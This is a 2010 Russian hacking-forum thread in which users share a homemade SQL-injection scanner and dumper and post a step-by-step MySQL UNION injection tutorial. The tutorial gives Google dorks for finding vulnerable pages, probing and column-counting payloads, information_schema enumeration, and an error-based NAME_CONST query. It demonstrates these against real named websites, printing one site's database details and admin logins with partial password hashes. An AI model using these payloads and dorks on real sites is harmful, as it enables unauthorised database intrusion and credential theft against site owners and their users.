ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 18.02.2010, 22:08
shell_c0de
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме:
1585404

Репутация: 564
Отправить сообщение для shell_c0de с помощью ICQ Отправить сообщение для shell_c0de с помощью AIM
По умолчанию

допиши и сорцы выложи бум вместе доделать прожку )
 
Ответить с цитированием

  #12  
Старый 18.02.2010, 22:13
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555

Репутация: 226
По умолчанию

Лучше напишите кто-нибудь то, что я просил
 
Ответить с цитированием

  #13  
Старый 27.02.2010, 01:23
wolf295214
Новичок
Регистрация: 09.04.2009
Сообщений: 8
Провел на форуме:
93070

Репутация: 0
По умолчанию

как там у тя работа с этой прожкой?
когда исправятся баги и будет доработана?
 
Ответить с цитированием

  #14  
Старый 27.02.2010, 02:09
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555

Репутация: 226
По умолчанию

Решил писать проект по частям, ибо как-то довольно сложно вытягивать весь проект сразу же.
И первой частью проекта стал дампер баз Databaser)
Видео пока нет, потому что надо дорабатывать ещё, но вообщем-то всё можно делать интуитивно.
Добавил возможность рандомного выбора user-agent и прокси.

Вообщем-то из того как пользоваться хочу сказать только в каком виде должен быть url: если например есть сайт со скулей
Код:
http://mashiki.dominga.ru/view.php?id=-1+union+select+1,2+--+&sec=2
то url будет выглядеть так(принтабельное поле 2):
Код:
http://mashiki.dominga.ru/view.php?id=-1+union+select+1,[printfield]+[from]+LIMIT+[row],2+--+&sec=2
Большая просьба, если есть url с которыми тулза работать не хочет, отправьте в личку мне её.

Вот ссылка: http://depositfiles.com/ru/files/tj442jckb
 
Ответить с цитированием

  #15  
Старый 27.02.2010, 07:51
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555

Репутация: 226
По умолчанию

За ночь устранил все баги, которые заметил) Вроде бы тулза работает более-менее коректно. Записал видео, всё впихнул в один архив:
http://depositfiles.com/files/wvy03elgp
 
Ответить с цитированием

  #16  
Старый 01.03.2010, 02:48
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555

Репутация: 226
По умолчанию

Я тут на досуге решил написать туториал по проведению mysql-инъекций на серверах версии >5(вообщем-то я его впихну в дальнейшем в свою программу). Я знаю, что большинство в этой теме баян(вот по этому я его так хитро спрятал в теме со своей программой=) может кого нибудь заинтересуют мои мысли и он дочитает статью до конца). Для начала хочу сказать, что статья рассчитана для новичков, ибо довольно много вопросов,вообщем-то, задаются по темам аналогичных туториал, и как я понимаю либо ввиду невнимательности, либо просто народу влом читать статьи( большущий минус таким людям).

1. Start

Для начала, что же такое SQL-инъекция? Банально говоря, SQL-инъекция - это внедрение "юзеравского" запроса в запрос в скрипте страницы.

Что нужно для того, чтобы начать искать такую уязвимость:
1) Мозг
2) Время
3) Усидчивость
4) Внимательность(это очень важно)

Где искать уязвимости(или коректнее с помощью чего их искать):
1) Конечно же наш друг Google
2) Я, иногда ищу в портфолио компаний, занимающихся разработкой сайтов
3) Некоторые хосты показывают небольшой(относительно) список сайтов

Начинающему лучше всего брать не "качеством", а количестом инъекций, потому что практика - это очень важно, особенно в самом начале инжектинга.

Как искать в гугле странички с уязвимостями, можно прочитать в статьях, которые обычно называются Google-хакинг.
Вот парочка примеров:
Код:
inurl:content.php?id=
inurl:index.php?id=
inurl:main.php?id=
inurl:streampage.php?id=
inurl:base.php?id=
inurl:content.php?id=
inurl:catalog.php?id=
inurl:view.php?id=
inurl:detail.php?id=
inurl:page.php?id=
2. Поиск уязвимостей

Например, гугл нам подкинул сайтик с такой ссылкой:
Код:
mysite.com/index.php?id=1
Начинаем сканировать параметр id на уязвимость(смысл сканирования - это определение возможности нарушить SQL-запрос в скрипте).

Основные примеры запросов:

1) mysite.com/index.php?id=1+and+1=1 (true and true = true)

Если открывается страница, как с параметром id=1, значит возможно, что параметр уязвимый, если же редирект или пустая страница(или пустой контент элементов), то возможно, что тоже есть ошибка в запросе(эта ошибка достигается за счёт скобок в запросе)
mysite.com/index.php?id=1+and+1=2 (true and false = false)
Если пустая страница или редирект, то 99%, что инъекция есть

2) mysite.com/index.php?id=1'+and+'1'='1 (true and true = true)
mysite.com/index.php?id=1'+and+'1'='2 (true and false = false)

3) mysite.com/index.php?id=1"+and+"1"="1 (true and true = true)
mysite.com/index.php?id=1"+and+"1"="2 (true and false = false)

4) mysite.com/index.php?id=1+order+by+1+--+
mysite.com/index.php?id=1+order+by+1000+--+ (пустая страница/редирект)

5) mysite.com/index.php?id=1
mysite.com/index.php?id=2-1

6) mysite.com/index.php?id=1
mysite.com/index.php?id=1*1

7) mysite.com/index.php?id=
Если ошибка/пустая страница/редирект, то параметр уязвимый

8) mysite.com/index.php?id=1'
Ошибка

9) mysite.com/index.php?id=1hello
"Unknown column '1hello' in 'where clause" (неизвестное поле 1hello)

10) site.com/index.php?id=1)/*

11) site.com/index.php?id=1')--+

12) site.com/index.php?id=1"/*

13)site.com/index.php?id=1))--+

Список очень большой, но допольните вы его постигая науку SQL-injection)

Уязвимые параметры - это не только в ссылках похожих на index.php?id=1, но и в:
Код:
mysite.com/index.php/id/6/
mysite.com/index.HTM?id=1
Также инъекцию нужно искать в формах страницы(ищется аналогично).

3.SQl-reference
Для дальнейшего понимания советую почитать:
Код:
SELECT syntax http://dev.mysql.com/doc/refman/5.1-maria/en/select.html
UNION UNION: http://dev.mysql.com/doc/refman/5.1-maria/en/union.html
3. Поиск принтабельных полей
Для поиска кол-ва полей можно выбрать два пути:
mysite.com/index.php?id=1+and+1=2+UNION+SELECT+1+--+
mysite.com/index.php?id=1+and+1=2+UNION+SELECT+1,2+--+
mysite.com/index.php?id=1+and+1=2+UNION+SELECT+1,2,3+--+
...
И до тех пор пока не увидим числа.

Или использование order by(указывает порядок сортировки полей).
mysite.com/index.php?id=1+order+by+1+--+(сортировка по первому полю. если ошибки нет, значит первое поле существует)
mysite.com/index.php?id=1+order+by+1000+--+(наверняка тысячное поле не существует, и мы получим ошибка/редирект/пустую страницу)
mysite.com/index.php?id=1+order+by+100+--+
mysite.com/index.php?id=1+order+by+50+--+
...
И до тех пор пока не увидим страницу с id=1 (удобный способ)

Как же собственно проходит инъекция:
Код:
mysite.com/index.php?id=1
В скрипте запрос:
SELECT id,text from mytable where id=$id
Если вы прочитали про UNION, вы понимаете, что количество полей в UNION SELECT должно быть столько же сколько и в SELECT, если не читали, то примите пока как аксиому.

Код:
mysite.com/index.php?id=1+UNION+SELECT+1,2+--+
Мы добавили к результату запроса SELECT id,text from mytable where id=1, запрос SELECT 1,2. Таким образом у нас получилось две строки результата запроса:
1 SomeText
1 2

В большинстве случаев в скрипте используется результат первого запроса -> надо SELECT id,text from mytable where id=$id как то обнулить. Это достигается засчёт ввода несуществующего параметра id(к примеру -100) или 1+and+1=2 (true and false). В результате мы, возможно, увидим цифры 1 и 2(или хотя бы одно из них). Это и есть принтабельные поля.

4.Дамп базы
Теперь на примере одного сайта я покажу, как получить то, ради чего мы пришли на этот сайт:

Код:
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,3,4+--+
4 поля, принтабельное 3ье


Для начала узнаем версию, текущую базу, пользователя.
Код:
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,concat(version(),0x3a,database(),0x3a,user()),4+--+
Функция concat "склеивает строку", 0x3a - шестнадцатиричное значение двоеточия " : ". Для получения шестнадцатиричного значения я, например, использую пaлгин HackBar для мозиллы.
Также вместо можно использовать:
version()=@@version
user()=CURRENT_USER

version: 5.0.51a-24+lenny2+spu1-log
database: ewpa_majster01
user: ewpa_majster01@127.0.0.1

Желательно почитать ещё тут: http://dev.mysql.com/doc/refman/5.0/en/group-by-functions-and-modifiers.html


Для начала определим названия баз на сервере:
group_concat(schema_name) + from + information_schema.schemata
Код:
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,group_concat(schema_name),4+from+information_schema.schemata+--+
2 databases: information_schema,ewpa_majster01

group_concat склеивает строки запроса(стандартное ограничение 1024 символа)




Теперь узнаем имена таблиц:
group_concat(table_name) from information_schema.tables
[Example]
Код:
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,group_concat(table_name),4+from+information_schema.tables+--+
Tables: CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_ AP...

Но нам не нужна таблица information_schema поэтому сделаем так:
group_concat(table_name) from information_schema.tables + where + table_schema<>information_schema
[Example]
Код:
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,group_concat(table_name),4+from+information_schema.tables+where+table_schema<>0x696e666f726d6174696f6e5f736368656d61+--+
696e666f726d6174696f6e5f736368656d61=information_s chema

А лучше просто получить таблицы текущей базы:
Код:
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,group_concat(table_name),4+from+information_schema.tables+where+table_schema=database()+--+
Теперь узнаем колонки произвольной таблицы(например, ewpa_user):
group_concat(column_name) + from + information_schema.columns + where + table_name=0xHEXofTABLENAME
[Example]
Код:
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name=0x657770615f75736572+--+
657770615f75736572=hex(ewpa_user)
Columns:id,login,pass

И последний шаг, это значения:
group_concat(column_name,[delimiter],column_name...) +from+table_name.

[Example]
Код:
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,group_concat(id,0x3a,login,0x3a,pass),4+from+ewpa_user+--+
Result:1:admin:646224a5...,2:dyalcom:098f6b...

Если вам нужно определить определённую строку база, то делаем так:
Код:
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,schema_name,4+from+information_schema.schemata+LIMIT+ROW,COL+--+
where col - число столбцов в запросе(в данном случае 4)
row - number of receing row.
Код:
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,schema_name,4+from+information_schema.schemata+LIMIT+0,4+--+
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,schema_name,4+from+information_schema.schemata+LIMIT+1,4+--+
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,schema_name,4+from+information_schema.schemata+LIMIT+2,4+--+
...


Если вы получаете ошибку: "Illegal mix of collations" то используйте unhex(hex()) (например:unhex(hex(database())))

5. Double query
Когда на странице есть два и более запросов подбор кол-ва полей не имеет никакого смысла, потому что мы подберём поля только для первого запроса, а в остальных будет ошибка. Я не читал об этом, поэтому спросил в "Вопросах об уязвимостях". Я не помню кто мне это написал, но ответ был такого плана:
mysite.com/index.php?id=(SELECT+*+FROM(SELECT+*+FROM(SELECT+N AME_CONST(user(),14)a)+as+t+JOIN+(SELECT+NAME_CONS T(user(),14)a)b)c)

NAME_CONST syntax http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html

>v5.0.12
NAME_CONST(name,value)
When used to produce a result set column, NAME_CONST() causes the column to have the given name.
Смысл каков: когда используется для получения результата, то NAME_CONST "назначает"(не смог слово подобрать) столбцу имя name.

Как же работает тот запрос?!
Насколько я понял, он основывается на присоединении запроса "справа" к запросу "слева" с одним и тем же именем колонки.

В итоге мы получаем ошибку duplicate column '', где в кавычке и указан результат NAME_CONST(в данном случае имени пользователя)

Есть видео с разными инъекциями, которое я делал для одного форума:
http://depositfiles.com/files/27s58g9vh

В последствие буду чем-то дополнять, что-то исправлять)

Последний раз редактировалось Seravin; 01.03.2010 в 03:13..
 
Ответить с цитированием

  #17  
Старый 01.03.2010, 09:04
_eXorcist_
Участник форума
Регистрация: 24.12.2009
Сообщений: 130
Провел на форуме:
528073

Репутация: -3
Отправить сообщение для _eXorcist_ с помощью ICQ
По умолчанию

Цитата:
Сообщение от Seravin  
BSQLi v.1.2

Всё таки я решил продолжить писать свою программу. Посмотрите, потестите. Как пользоваться особо рассказывать не буду, смотрите видео. Единственное, про что хотел рассказать, это про файлы в директории с программой:
keyw.txt - файл с ключевыми словами. Эти слова добавляются к гугл-запросу для большего результата.
search.txt - сами гугл-запросы
inject.txt - так сказать команды, по которым определяется есть ли скуля(это система пока не очень хорошо работает). Записывается так:
строка INJECT(в квадратных скобках), затем условия. Если все условия до следующей строки INJECT соблюдаются, значит скуля. условия записываются примерно так:
Код:
{page}|{page+}-1==true
знак | обозначает что сравнивается то, что слева, и то, что справа. Если оно ~равно, то значение true и сравнивается с тем, что после ==. Алгоритм корявый по этому не всегда определяет. Исправьте, если у кого есть идеи(http://forum.antichat.ru/thread179023.html) page+ - увеличивает значение параметра на 1. Если нет знака | значит ищутся слова из файла, имя которого после ==. Если есть какие-нибудь пожелание, то пишите, по возможности реализую.
Ссылка на программу: http://depositfiles.com/files/i3al620lc
Ссылка на видео: http://depositfiles.com/files/1u9ey3qzx
прога конечно рульная но она до тебя уже написана
и название ей SQL_Helper_v2.7 хотя у тебя тоже неплохая немного удобнее некоторые функции
 
Ответить с цитированием

  #18  
Старый 01.03.2010, 10:49
_eXorcist_
Участник форума
Регистрация: 24.12.2009
Сообщений: 130
Провел на форуме:
528073

Репутация: -3
Отправить сообщение для _eXorcist_ с помощью ICQ
По умолчанию

Цитата:
Сообщение от wildshaman  
К чему твой туториал, если в статьях есть около 3-4 больших?
он же к своей проге его написал

Последний раз редактировалось _eXorcist_; 01.03.2010 в 11:07..
 
Ответить с цитированием

  #19  
Старый 01.03.2010, 13:57
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555

Репутация: 226
По умолчанию

Цитата:
Сообщение от _eXorcist_  
прога конечно рульная но она до тебя уже написана
и название ей SQL_Helper_v2.7
Что значит уже написана? или ты хочешь чтобы все пользовались одной программой?
 
Ответить с цитированием

  #20  
Старый 01.03.2010, 18:16
_eXorcist_
Участник форума
Регистрация: 24.12.2009
Сообщений: 130
Провел на форуме:
528073

Репутация: -3
Отправить сообщение для _eXorcist_ с помощью ICQ
По умолчанию

Цитата:
Сообщение от Seravin  
Что значит уже написана? или ты хочешь чтобы все пользовались одной программой?
необижайся конечно но то что определяет SQL_Helper_v2.7 твоя прога определить неможет
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть первая k00p3r Чужие Статьи 1 12.07.2005 08:51
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ